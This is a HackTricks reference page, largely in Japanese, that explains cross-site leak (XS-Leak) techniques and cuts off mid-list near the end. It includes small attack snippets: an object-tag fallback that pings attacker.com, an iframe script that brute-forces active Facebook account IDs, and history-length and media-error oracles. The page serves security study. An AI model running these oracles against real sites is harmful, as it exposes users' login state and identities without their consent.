XS-Search/XS-Leaks

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

XS-Search は、サイドチャネル脆弱性を利用してクロスオリジン情報を抽出するための手法です。

この攻撃に関わる主要な要素は次のとおりです:

  • Vulnerable Web: 情報を抽出しようとする対象のウェブサイト。
  • Attacker’s Web: 被害者が訪れる攻撃者側で作成した悪意あるウェブサイト(エクスプロイトをホストする)。
  • Inclusion Method: Vulnerable Web を Attacker’s Web に組み込むために用いる手法(例: window.open, iframe, fetch, HTML tag with href など)。
  • Leak Technique: Inclusion Method を通じて得られた情報に基づき、Vulnerable Web の状態の違いを識別する技術。
  • States: 攻撃者が区別しようとする Vulnerable Web の二つの可能な状態。
  • Detectable Differences: 攻撃者が Vulnerable Web の状態を推測するために頼る観測可能な差異。

検出可能な差異

Vulnerable Web の状態を区別するために分析できる点は複数あります:

  • Status Code: クロスオリジンでの さまざまな HTTP レスポンスステータスコード(サーバーエラー、クライアントエラー、認証エラーなど)を区別すること。
  • API Usage: ページ間での 特定の JavaScript Web API の使用有無を識別し、クロスオリジンページが特定の Web API を使用しているかどうかを明らかにすること。
  • Redirects: JavaScript や HTML によって引き起こされるものを含め、別ページへの遷移を検出すること。
  • Page Content: HTTP レスポンスボディやページのサブリソース(埋め込まれたフレームの数や画像サイズの差など)の差異を観察すること。
  • HTTP Header: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy といった 特定の HTTP レスポンスヘッダの存在や値を確認すること。
  • Timing: 二つの状態間で一貫した時間差があることを検出すること。

Inclusion Methods

  • HTML Elements: stylesheets、images、scripts のような クロスオリジンリソースの取り込みに使えるさまざまな HTML 要素があり、ブラウザに非 HTML リソースのリクエストを強制します。利用可能な HTML 要素の一覧は https://github.com/cure53/HTTPLeaks を参照してください。
  • Frames: iframe、object、embed のような要素は HTML リソースを攻撃者のページに直接埋め込むことができます。ページが framing protection を持たない 場合、contentWindow プロパティを通じてフレーム化されたリソースの window オブジェクトに JavaScript からアクセスできることがあります。
  • Pop-ups: window.open はリソースを新しいタブやウィンドウで開き、SOP に従ったメソッドやプロパティと対話するための ウィンドウハンドル を JavaScript に提供します。ポップアップはシングルサインオンでよく使われ、対象リソースのフレーミングやクッキー制限を回避します。ただし、モダンブラウザはポップアップの作成を特定のユーザー操作に制限しています。
  • JavaScript Requests: JavaScript は XMLHttpRequests や Fetch API を使ってターゲットリソースへ直接リクエストを送ることを許します。これらの方法は、HTTP リダイレクトをフォローするかどうかなど、リクエストを細かく制御できます。

Leak Techniques

  • Event Handler: XS-Leaks の古典的な手法で、onload や onerror のようなイベントハンドラからリソースの読み込み成功/失敗に関する情報を得ます。
  • Error Messages: JavaScript の例外や特別なエラーページは、エラーメッセージ自体やその有無の差異から leak 情報を提供することがあります。
  • Global Limits: ブラウザのメモリ容量やその他の強制される制限のような物理的制限は、閾値到達を示して leak 技術として利用され得ます。
  • Global State: History インターフェイスのようなブラウザの グローバル状態 と検出可能に相互作用することで悪用できます。例えばブラウザの履歴のエントリ数はクロスオリジンページについての手がかりを与えることがあります。
  • Performance API: この API はドキュメントや読み込まれたリソースのネットワークタイミングを含む 現在のページのパフォーマンス詳細 を提供し、要求されたリソースについて推測することを可能にします。
  • Readable Attributes: 一部の HTML 属性は クロスオリジンで読み取り可能 であり、leak 技術として使えます。例えば window.frame.length プロパティはクロスオリジンでページに含まれるフレームの数をカウントすることを可能にします。

XSinator Tool & Paper

XSinator は論文で説明されている複数の既知の XS-Leaks を ブラウザに対して自動でチェックする ツールです: https://xsinator.com/paper.pdf

ツールは https://xsinator.com/ で利用できます。

Warning

Excluded XS-Leaks: XSinator では、他の leak に干渉するため service workers に依存する XS-Leaks を除外しました。さらに、特定のウェブアプリケーションのミスコンフィギュレーションやバグに依存する XS-Leaks(例: CrossOrigin Resource Sharing (CORS) misconfigurations、postMessage leakage、Cross-Site Scripting)は除外することにしました。加えて、遅く、ノイズが多く、精度に欠けることが多い時間ベースの XS-Leaks も除外しています。

時間ベースの techniques

以下のいくつかの技術は、ウェブページの可能な状態の差異を検出するプロセスの一部として時間計測を使用します。ブラウザで時間を測定する方法はいくつかあります。

Clocks: performance.now() API は高解像度のタイミング測定を提供します。
攻撃者が暗黙のクロックを作るために悪用できる API は多くあります: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout、CSS アニメーションなど。
詳細は: https://xsleaks.dev/docs/attacks/timing-attacks/clocks を参照してください。

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

コード例は JS から scripts objects をロードしようとしていますが、other tags(objects、stylesheets、images、audios など)も利用可能です。さらに、タグを直接挿入して、onloadonerror イベントをタグ内で宣言することも可能です(JS から注入する代わりに)。

There is also a script-less version of this attack:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

この場合、example.com/404 が見つからないと attacker.com/?error が読み込まれます。

Content-Type/CORB script load oracle

  • 組み込み方法: HTML Elements (script)
  • 検出できる違い: Header / Content-Type via onload vs onerror (CORB)
  • 概要: エンドポイントが一致時に HTML を返し、不一致時に JSON を返す場合、<script src> で読み込んでください。HTML は onload をトリガーし、JSON は CORB によりブロックされ onerror を発生させます。これにより、既知のスコープ内で __user のような識別子を総当たりするための Boolean oracle を得られます。
  • メモ: ボディを読み取らずに cross-origin で動作します;テナントIDが固定されている場合にアクティブなアカウントを列挙するのに便利です。

postMessage vs X-Frame-Options deny oracle

  • 組み込み方法: Frames
  • 検出できる違い: Header (XFO) + postMessage の有無
  • 概要: 一部のウィジェットは読み込み後に親に postMessage を送ります。リクエストが誤った識別子でフレーム化されると、サーバは X-Frame-Options: deny を返してレンダリングを防ぎ、その結果メッセージが送出されません。iframe の src を候補IDに設定し、message イベントを待ち(成功)、タイムアウト/メッセージ無しを失敗扱いにすることで、アクティブなアカウントを総当たりできます。
  • 最小スニペット:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

詳細は message/iframe の落とし穴を参照してください。

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

このテクニックは前述のものと同様ですが、attacker は、応答が肯定的か否定的かのケースで、ある処理が十分な時間を要するように何らかの動作を強制し、その時間を計測します。

performance.now + Force heavy task

unload/beforeunload Timing

リソースの取得に要した時間は、unloadbeforeunload イベントを利用して計測できます。beforeunload イベントはブラウザが新しいページへ遷移しようとする直前に発火し、unload イベントは実際に遷移が行われる際に発生します。これら二つのイベント間の時間差を計算することで、ブラウザがリソース取得に費やした「期間」を求められます。

Sandboxed Frame Timing + onload

Framing Protections が存在しない場合、ページおよびそのサブリソースのネットワーク読み込みに要する時間を attacker が計測できることが観測されています。これは一般に、iframe の onload ハンドラがリソースの読み込みと JavaScript の実行完了後に発火するためで、スクリプト実行によるばらつきを避けるために、attacker は <iframe>sandbox 属性を使うことがあります。この属性を付与すると多くの機能(特に JavaScript 実行)が制限され、ネットワーク性能が主に影響する計測が可能になります。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: 正しいコンテンツにアクセスしたときにページがエラーになり、任意のコンテンツにアクセスしたときに正常に読み込まれるようにできるなら、時間を測定せずにすべての情報を抽出するループを作成できます。
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: ページがセンシティブなコンテンツを返すか、ユーザが制御できるコンテンツを返す場合、否定ケースでは有効なJSコードを<script>タグ内に入れて各試行ごとに読み込ませることができます。否定ケースでは攻撃者のコードが実行され、肯定ケースでは何も実行されません。
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) は Spectre のような攻撃から保護するために特定のクロスオリジンの敏感なリソースの読み込みを防ぐセキュリティ対策です。ただし、攻撃者はその保護挙動を悪用できます。CORBの対象となるレスポンスが nosniff とともに CORB 保護される Content-Type を返し、かつ 2xx ステータスコードの場合、CORBはレスポンスのボディと一部ヘッダを削除します。これを観察することで、成功/エラーを示す status code と CORB による保護有無を示す Content-Type の組み合わせを推測でき、情報漏えいにつながる可能性があります。
  • Code Example:

Check the more information link for more information about the attack.

onblur

iframe内にページを読み込み、#id_value を使ってその iframe 内の要素にフォーカスさせ、onblur シグナルが発生すればその ID 要素が存在することを判定できます。
同じ攻撃は portal タグでも実行可能です。

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessage からセンシティブな情報を収集したり、postMessages の有無をオラクルとしてページ内のユーザ状態を知る手法。
  • Code Example: Any code listening for all postMessages.

アプリケーションはしばしば postMessage ブロードキャストを使って異なるオリジン間で通信します。しかし、targetOrigin パラメータが適切に指定されていないと、任意のウィンドウがメッセージを受け取れるためセンシティブな情報が露出することがあります。さらに、単にメッセージを受信すること自体がオラクルになり得ます。例えば、特定のメッセージはログインしているユーザにのみ送られることがあり、その有無で認証状態などユーザの状態や識別情報を推測できます。

Global Limits Techniques

WebSocket API

ターゲットページが使用している WebSocket 接続の数を特定できます。これにより攻撃者はアプリケーションの状態や WebSocket 接続数に紐づく情報を検出できます。

あるオリジンが WebSocket オブジェクトの最大数を使用していると(接続状態に関係なく)、新しいオブジェクトの作成は JavaScript 例外を発生させます。この攻撃では、攻撃者サイトがターゲットサイトをポップアップや iframe で開き、ターゲットが読み込まれた後に可能な限り多くの WebSocket を作成しようとします。投げられた例外の数がターゲットウィンドウで使用されている WebSocket の数になります。

Payment API

この XS-Leak はクロスオリジンページが Payment Request API を開始しているかを検出できます。

同時に有効な Payment Request は一つだけなので、ターゲットが Payment Request API を使っている場合、攻撃者が定期的に Payment API UI を表示しようとすると失敗して JavaScript 例外が発生します。攻撃者はUIを作成直後に閉じることでこれらの定期的な試行を隠すことができます。例外が発生した試行があれば、ターゲットは現在この API を使用中であると判断できます。

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript は single-threaded event loop の並行モデルで動作し、「一度に一つのタスクしか実行できない」という特徴があります。この特性を利用して別オリジンのコードがどれくらい時間を消費するかを推測できます。攻撃者は固定プロパティのイベントを連続して発火し、自身のコードの実行時間を測定します。これらのイベントはイベントプールが空になったときに処理されます。もし他のオリジンも同じプールにイベントを投入している場合、攻撃者は自分のタスク実行の遅延を観測することで外部のイベント処理に要した時間を推測できます。イベントループの遅延を監視することで別オリジンのコード実行時間やセンシティブな情報が露呈する可能性があります。

Warning

実行時間計測ではネットワーク要因を排除してより正確な測定を行うことが可能です。例えば、ページが使用するリソースを事前に読み込んでおくなど。

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: イベントループを意図的にブロックし、その後イベントループが再び利用可能になるまでの時間を測る方法。これにより、ブロック期間中に実行されていたタスクの時間を推測できる。
  • Code Example:

イベントループをロックして実行時間を計測する手法の大きな利点は、Site Isolation を回避できる可能性がある点です。Site Isolation は異なるサイトを別プロセスに分離するセキュリティ機能ですが、共有されるイベントループの実行タイミングに影響を与えることで、攻撃者は他オリジンの活動に関する情報を間接的に抽出できます。この方法は他オリジンのデータへの直接アクセスに依存せず、Site Isolation の防御を迂回することがあります。

Warning

実行時間計測ではネットワーク要因を排除してより正確な測定を行うことが可能です。例えば、ページが使用するリソースを事前に読み込んでおくなど。

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: 全ソケットのうち1つだけを使えるようにしてターゲットを読み込み、同時に別ページを読み込むことで最後のページが読み込み始めるまでの時間からターゲットの読み込み時間を推測する手法。
  • Code Example:

Connection Pool Examples

ブラウザはサーバー通信にソケットを使いますが、OSやハードウェアの制約により同時ソケット数に制限を設けています。攻撃者は次の手順でこの制限を悪用できます:

  1. ブラウザのソケット上限(例: global 256)を把握する。
  2. 255 ソケットを長時間占有するために複数ホストへリクエストを送り、接続を開いたままにする。
  3. 256 番目のソケットを使ってターゲットページへリクエストを送る。
  4. さらに 257 番目のリクエストを別ホストに送ろうとする。全ソケットが使用中のため、このリクエストはソケットが空くまでキューに入れられる。この遅延時間から、256 番目(ターゲットページ用)ソケットに関するネットワーク活動の時間情報が得られる。なぜなら、手順2の255ソケットは依然として占有されており、新たに空くソケットは手順3で使用したソケットが解放されたものに限られるからです。したがって、256 番目のソケットが利用可能になるまでの時間はターゲットページのリクエスト完了に直接関連します。

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: 前述の手法と似ていますが、Google Chrome は同一オリジンへの同時リクエスト数を 6 に制限しています。5 個をブロックし、6 番目のリクエストを発行してその時間を計測することで、被害ページが同一エンドポイントへ追加リクエストを送っているかなどを検出できます。6 番目のリクエストはより時間がかかるはずです。

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.

Error Leak

エラーとなるリクエストは performance エントリを生成しないため、HTTP レスポンスのステータスコードを区別できます。

Style Reload Error

前述の手法では、GC のガベージコレクションのバグにより読み込みに失敗したリソースが二度読み込まれるケースが特定されました。これにより Performance API に複数のエントリが残り、検出可能になります。

Request Merging Error

この手法は論文中の表で見つかりましたが、詳細説明はありませんでした。ソースコードは上記リンク先で確認できます。

Empty Page Leak

空の HTTP レスポンスボディの場合、一部のブラウザでは performance エントリが生成されないため、攻撃者はそれを検出できます。

XSS-Auditor Leak

Security Assertions (SA) において、XSS Auditor は本来 XSS を防ぐための機能ですが、逆に情報を漏らすのに悪用され得ます。Google Chrome ではこの機能は削除されていますが、SA には残っています。2013 年に Braun と Heiderich が XSS Auditor が正当なスクリプトをブロックする可能性(false positive)を示しました。これを基に、特定のコンテンツを検出するための手法(XS-Leaks)が開発されました。SA において XSS Auditor によってブロックされたページは Performance API にエントリを生成しないため、これがセンシティブ情報を漏らす手段となります。

X-Frame Leak

ページが iframe にレンダリングされることを許可されていない場合、performance エントリが生成されません。これにより X-Frame-Options ヘッダの存在を検出できます。embed タグでも同様の挙動が発生します。

Download Detection

ContentDisposition ヘッダによりリソースがダウンロードされる場合、Performance API にエントリが生成されないことがあります。この手法は主要ブラウザで機能します。

Redirect Start Leak

一部ブラウザの挙動を悪用し、クロスオリジンリクエストで過剰な情報がログに残るケースが見つかっています。標準ではクロスオリジンリソースに対していくつかの属性をゼロにするべきと定義されていますが、SA では redirectStart タイミングデータをチェックすることでターゲットページがユーザをリダイレクトしたかどうかを検出できます。

Duration Redirect Leak

GC ではリダイレクトにより発生したリクエストの duration が負になるため、リダイレクトの有無を区別できます。

CORP Leak

場合によっては nextHopProtocol エントリが漏洩手段として利用できます。GC では CORP ヘッダが設定されていると nextHopProtocol が空になります。SA では CORP 有効なリソースに対してはそもそも performance エントリが生成されません。

Service Worker

Service worker はオリジンで実行されるイベント駆動のスクリプトコンテキストです。バックグラウンドで動作し、リソースをインターセプト、変更、キャッシュしてオフライン動作を提供します。
service worker によってキャッシュされたリソースが iframe 経由でアクセスされると、そのリソースは service worker キャッシュから返されます。
そのリソースが service worker キャッシュからロードされたかどうかは Performance API を使って検出できます。
タイミング攻撃でも同様の検出が可能です(詳細は論文参照)。

Cache

Performance API を使ってリソースがキャッシュされているかどうかを確認できます。

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface の message プロパティは、正常に読み込まれたリソースを一意に識別する文字列を返します。攻撃者はこのメッセージ内容を観察することで、クロスオリジンのリソースの応答状態を推測できます。

CORS Error

この手法により、攻撃者は WebKit ベースのブラウザが CORS リクエストを扱う挙動を利用して、クロスオリジンサイトのリダイレクト先を抽出できます。具体的には、ユーザの状態に応じてリダイレクトを行うターゲットサイトに対して CORS 対応のリクエストを送り、ブラウザがそのリクエストを拒否した場合、リダイレクト先の完全な URL がエラーメッセージ内に開示されます。この脆弱性はリダイレクトが存在した事実だけでなく、リダイレクト先のエンドポイントやそこに含まれる可能性のある機密性の高いクエリパラメータも露出します。

SRI Error

攻撃者は冗長なエラーメッセージを悪用して、クロスオリジン応答のサイズを推測できます。これは Subresource Integrity (SRI) の仕組みによるもので、integrity 属性を使って、CDN 等から取得したリソースが改ざんされていないことを検証します。SRI がクロスオリジンリソースで機能するには、それらが CORS-enabled である必要があります。Security Assertions (SA) において、integrity 属性付きの fetch リクエストが失敗するとエラーメッセージを取得できる場合があり、攻撃者は故意に任意のリクエストに対して不正なハッシュ値(bogus hash value)を設定してこのエラーを誘発できます。SA では、その結果のエラーメッセージが要求されたリソースのコンテンツ長を意図せず明かすことがあります。この情報漏洩により、応答サイズの差異を識別でき、より高度な XS-Leak 攻撃につながる可能性があります。

CSP Violation/Detection

XS-Leak は CSP を利用して、クロスオリジンサイトが別のオリジンへリダイレクトしたかを検出できます。この手法はリダイレクトを検出できるだけでなく、リダイレクト先のドメインも漏れる可能性があります。基本的な考え方は、攻撃者サイト側でターゲットドメインを許可しておき、ターゲットにリクエストを発行するとターゲットがクロスオリジンドメインへリダイレクトします。CSP がそれへのアクセスをブロックすると違反レポートが生成され、これが leak 手法として利用されます。ブラウザによっては、このレポートがリダイレクト先の場所を漏らす場合があります。現代のブラウザでは通常リダイレクト先の URL までは示しませんが、クロスオリジンリダイレクトが発生したこと自体は検出できます。

Cache

ブラウザはすべてのサイトで共有されるキャッシュを使うことがあります。オリジンに関係なく、ターゲットページが特定のファイルを要求したかどうかを推測することが可能です。

例えば、あるページがログインしている場合のみ画像を読み込むなら、そのリソースを無効化(キャッシュされている場合は削除)してから、そのリソースをロードする可能性のあるリクエストを実行し、不正なリクエスト(例: 過長な referer ヘッダー)で同リソースを読み込もうとします。リソースの読み込みでエラーが発生しなければ、それはキャッシュから提供されたためです。

CSP Directive

Google Chrome (GC) の新しい機能により、iframe 要素に属性を設定して Content Security Policy (CSP) を提案でき、ポリシーのディレクティブが HTTP リクエストと共に送信されます。通常、埋め込み先のコンテンツは HTTP ヘッダーでこれを許可する必要があり、許可されていない場合はエラーページが表示されます。しかし、iframe が既に CSP によって制御されており、新しく提案されたポリシーが既存より制限的でない場合はページは通常通り読み込まれます。この仕組みによって、攻撃者はエラーページを特定することでクロスオリジンページの特定の CSP ディレクティブを検出できます。脆弱性は修正済みとされていましたが、我々の調査ではエラーページを検出できる新たな leak 手法が存在し、根本的な問題が完全には解決されていなかった可能性を示唆しています。

CORP

CORP ヘッダーは比較的新しいウェブプラットフォームのセキュリティ機能で、設定されると与えられたリソースに対する no-cors クロスオリジンリクエストをブロックします。ヘッダーの存在は検出可能で、CORP で保護されたリソースは fetch したときにエラーを投げます。

CORB

攻撃の詳細はリンクを参照してください。

CORS error on Origin Reflection misconfiguration

Origin ヘッダーが Access-Control-Allow-Origin ヘッダーに反映される場合、攻撃者はこの挙動を悪用して CORS モードでリソースを fetch しようとできます。もしエラーが発生しなければ、それはリソースが正しくネットワークから取得されたことを意味します。エラーが発生した場合は、キャッシュからアクセスされたためです(キャッシュは元のドメインを許可する CORS ヘッダーを持つレスポンスを保存しており、攻撃者のドメインでは許可されないためエラーが出る)。
注意: オリジンが反映されずワイルドカード (Access-Control-Allow-Origin: *) が使われている場合はこの方法は機能しません。

Readable Attributes Technique

Fetch Redirect

Fetch API で redirect: "manual" などのパラメータを指定してリクエストを送ると、response.type 属性を読み取り、それが opaqueredirect と等しいかを確認することで、そのレスポンスがリダイレクトであったかを判別できます。

COOP

攻撃者はクロスオリジンの HTTP レスポンスに COOP ヘッダーが存在するかを推測できます。COOP は外部サイトが任意の window 参照を取得することを妨げるために使われます。このヘッダーの有無は contentWindow 参照にアクセスを試みることで識別できます。条件付きで COOP が適用される状況では、opener プロパティが有力な指標になります: COOP が有効な場合は opener は undefined になり、無効な場合は定義されます。

URL Max Length - Server Side

サーバサイドのリダイレクトにユーザ入力が組み込まれ、追加データが付与される場合、この挙動を検出できます。通常サーバはリクエスト長に制限があり、ユーザデータが「制限 - 1」の長さで、リダイレクト側がそこに何かを追加するとエラーを引き起こし、Error Events を通じて検出可能になります。

ユーザに対してクッキーを設定できる場合、十分なクッキーを設定することで(cookie bomb: ../hacking-with-cookies/cookie-bomb.md)、正しいレスポンスのサイズが増加してエラーが発生するようにすることも可能です。この場合、同一サイトからリクエストを発行すれば <script> が自動的にクッキーを送信するため、エラーを確認できます。
cookie bomb + XS-Search の例はこの writeup の Intended solution にあります: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

この種の攻撃では SameSite=None または同じコンテキストにあることが通常必要です。

URL Max Length - Client Side

Chromium ドキュメントによれば、Chrome の最大 URL 長は 2MB です:

一般に、web プラットフォーム自体は URL 長に制限を持たない(ただし 2^31 が一般的な制限)。Chrome は実用上とプロセス間通信での DoS を避けるために URL を最大 2MB に制限する。

そのため、あるケースでリダイレクト先の URL が他のケースよりも大きくなることがあり、リダイレクトで URL が 2MB を超えると制限に達して、Chrome は about:blank#blocked ページを表示します。

目に見える差異は、リダイレクトが完了していた場合は window.origin がクロスオリジンのためアクセス時にエラーを投げます。一方で、制限に達して読み込まれたページが about:blank#blocked の場合はウィンドウの origin は親のもののまま残り、これはアクセス可能な情報となります。

必要な追加情報は、初期 URL のハッシュに追加しておけばリダイレクトで使用されるため、2MB を満たすデータをハッシュで運べます。

URL Max Length - Client Side

Max Redirects

ブラウザが追従するリダイレクトの最大数が 20 の場合、攻撃者は自身のページを 19 回のリダイレクトで読み込み、最後に被害者をテスト対象ページに送るようにできます。エラーが発生すれば、そのページは被害者をリダイレクトしようとしていたことが分かります。

History Length

History API を使うと JavaScript がブラウザ履歴を操作でき、ユーザが訪れたページが保存されます。攻撃者は length プロパティを挿入手法として利用し、JavaScript や HTML ナビゲーションを検出できます。具体的には history.length をチェックし、ユーザをあるページへ移動させ、その後同一オリジンに戻し、新しい history.length の値を確認します。

History Length with same URL

  • 挿入方法: フレーム、ポップアップ
  • 検出できる差異: URL が推測したものと同じかどうか
  • 概要: 履歴長を悪用してフレーム/ポップアップの位置が特定の URL にあるかを推測できる。
  • コード例: 以下

攻撃者はフレーム/ポップアップの location を推測した URL に変更し、直後に about:blank に変更します。もし history の長さが増えていれば、URL が正しく、リロードされなかった(同じ URL の場合は再読み込みされないため履歴が増える)ことを意味します。増えていなければ、推測した URL の読み込みは試みられたが、直後に about:blank を読み込んだために推測 URL の読み込みによる履歴増加は発生しなかった、ということになります。

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

iframewindow.open を介して開かれたウェブ内のフレームの数を数えることで、ユーザーがそのページ上でどのような状態にあるかを推測できる場合がある。
さらに、ページが常に同じフレーム数を持つ場合、そのフレーム数を継続的に監視することで、情報を漏らす可能性のあるパターンを特定できることがある。

この技術の例として、Chrome では内部で embed が使用されるため、PDFframe counting によって検出できることがある。zoomviewpagetoolbar のようなコンテンツ制御が可能な Open URL Parameters があり、この技術が有効になる場面がある。

HTMLElements

HTML 要素を介した情報漏洩は、ユーザー情報に基づいて動的にメディアファイルが生成される場合や、ウォーターマークが追加されてメディアサイズが変わる場合など、ウェブセキュリティにおける懸念事項である。攻撃者は特定の HTML 要素が公開する情報を分析することで、可能な状態を区別できる。

Information Exposed by HTML Elements

  • HTMLMediaElement: メディアの durationbuffered 時間を API 経由で取得できる。 Read more about HTMLMediaElement
  • HTMLVideoElement: videoHeightvideoWidth を公開する。いくつかのブラウザでは webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCount のような追加プロパティがあり、メディア内容のより詳細な情報を得られることがある。 Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): totalVideoFrames を含むビデオ再生品質の詳細を提供し、処理されたビデオデータ量を示すことがある。 Read more about getVideoPlaybackQuality()
  • HTMLImageElement: 画像の heightwidth を露出する。ただし、画像が無効な場合これらのプロパティは 0 を返し、image.decode() は拒否されて正しく読み込まれなかったことが分かる。 Read more about HTMLImageElement

CSS Property

ウェブアプリケーションはユーザーの状態に応じてウェブサイトのスタイルを変更することがある。クロスオリジンの CSS ファイルは攻撃者ページに HTML link 要素で埋め込むことができ、ルールは攻撃者ページに適用される。ページがこれらのルールを動的に変更する場合、攻撃者はユーザー状態に応じたこれらの差異を検出できる。
リーク技術として、攻撃者は window.getComputedStyle メソッドを使用して特定の HTML 要素の CSS プロパティを読み取ることができる。その結果、影響を受ける要素とプロパティ名が分かっていれば任意の CSS プロパティを読み取れる可能性がある。

CSS History

Tip

According to this, this is not working in headless Chrome.

CSS の :visited セレクタは、ユーザーが以前に訪れた URL を別のスタイルで表示するために使われる。以前は getComputedStyle() を使ってこれらのスタイル差を識別できたが、現代のブラウザはリンクの状態を明かさないようにセキュリティ対策を実装している。これらの対策には、getComputedStyle() が常に訪問済みとしての計算済みスタイルを返すようにすることや、:visited セレクタで適用可能なスタイルを制限することが含まれる。

これらの制限にもかかわらず、リンクの訪問状態を間接的に判別する方法は存在する。ある手法は、ユーザーを CSS によって影響を受ける領域と対話させることで、特に mix-blend-mode プロパティを利用して訪問状態を露出させるというものだ。このプロパティは要素と背景をブレンドすることができ、ユーザーの操作に応じて訪問状態が明らかになる可能性がある。

また、レンダリングのタイミングを利用してユーザー操作なしに検出することも可能である。ブラウザが訪問済みリンクと未訪問リンクを異なる方法でレンダリングする場合、レンダリングにかかる時間の差が生じ、それを計測することで訪問状態を検出できる。Chromium のバグレポートには、このタイミング差を増幅するために複数のリンクを用いた PoC が示されている。

これらのプロパティやメソッドの詳細は以下を参照:

ContentDocument X-Frame Leak

Chrome では、X-Frame-Options ヘッダが “deny” や “same-origin” に設定されたページを object として埋め込むと、エラーページが表示される。Chrome はこの object の contentDocument プロパティに対して、iframe や他のブラウザとは異なり null ではなく空のドキュメントオブジェクトを返す。攻撃者はこの空のドキュメントを検出することで情報を得られる可能性があり、特に開発者がエラーページに対してセキュリティヘッダの設定を漏らしがちな場合にユーザーの状態を明らかにする恐れがある。こうしたリークを防ぐためには、セキュリティヘッダを一貫して適用することが重要である。

Download Detection

Content-Disposition ヘッダ、特に Content-Disposition: attachment はブラウザにコンテンツをインライン表示ではなくダウンロードするよう指示する。この挙動を利用して、ユーザーがファイルダウンロードを引き起こすページにアクセス権があるかを検出できる。Chromium 系ブラウザでは、ダウンロード挙動を検出するためにいくつかの手法がある:

  1. ダウンロードバーの監視:
